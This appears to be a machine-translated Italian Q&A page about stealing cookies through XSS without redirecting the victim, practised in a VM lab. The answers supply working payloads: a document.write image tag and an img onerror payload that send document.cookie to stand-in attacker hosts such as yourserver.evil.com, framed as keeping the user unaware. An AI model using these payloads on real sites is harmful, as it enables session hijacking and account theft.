it-swarm.dev

Cookie XSS che ruba senza reindirizzare a un'altra pagina

Mi sto esercitando in VM seguendo la guida OWASP. So che è possibile rubare il cookie reindirizzando alla pagina "Falso" ecc., Ma vorrei rubare il cookie senza reindirizzare su un altro pagina.

Quindi, se hai qualche libro degli ospiti e poi metti:

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

Come posso inserirlo in una pagina esistente senza reindirizzare?

Fondamentalmente, quello che voglio è quando qualcuno fa clic sul link, prende il cookie e lo stampa da qualche parte nella pagina corrente. Forse in qualche tag alt o altro.

Qualche idea?

22
Thomas

Se hai il pieno controllo del JavaScript che viene scritto sulla pagina, puoi semplicemente farlo

document.write('cookie: ' + document.cookie)

Se si desidera che venga inviato a un altro server, è possibile includerlo in un'immagine inesistente:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')

La chiave qui è se puoi generare JavaScript arbitrario o se sei limitato nel tipo di JavaScript che puoi eseguire. Tuttavia, se si è limitati a ciò che può essere emesso, è possibile utilizzare metodi più avanzati per ottenere l'esecuzione del codice personalizzato che sono un po 'fuori dalla portata della domanda.

30
Steve

Per aggiungere alla risposta di Steve, ci sono molti modi diversi per raggiungere questo obiettivo. Se la tua intenzione è di non avere l'utente a conoscenza del cookie rubato, suggerirei il <img> attacco suggerito da Steve. Anche se preferisco evitare document.write poiché utilizza così tanti caratteri:

<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
10
disk0nn3ct